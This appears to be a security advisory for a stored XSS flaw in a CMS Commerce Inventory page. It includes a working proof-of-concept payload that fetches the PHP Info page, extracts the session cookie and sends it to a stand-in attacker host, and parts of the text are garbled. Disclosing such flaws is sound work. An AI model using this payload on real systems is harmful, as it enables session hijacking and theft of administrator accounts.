Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
https://attacker.com)
<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">
/admin/commerce/inventory)The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:
HTTP_COOKIECookie (used in this PoC)$_SERVER['HTTP_COOKIE']$_COOKIE['<cookie-name>']$_COOKIE['CRAFT_CSRF_TOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above.CRAFT_CSRF_TOKEN, CRAFT_SECURITY_KEY, and CRAFT_DB_PASSWORD are already masked){
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T18:23:42Z",
"nvd_published_at": "2026-03-10T20:16:38Z",
"severity": "HIGH"
}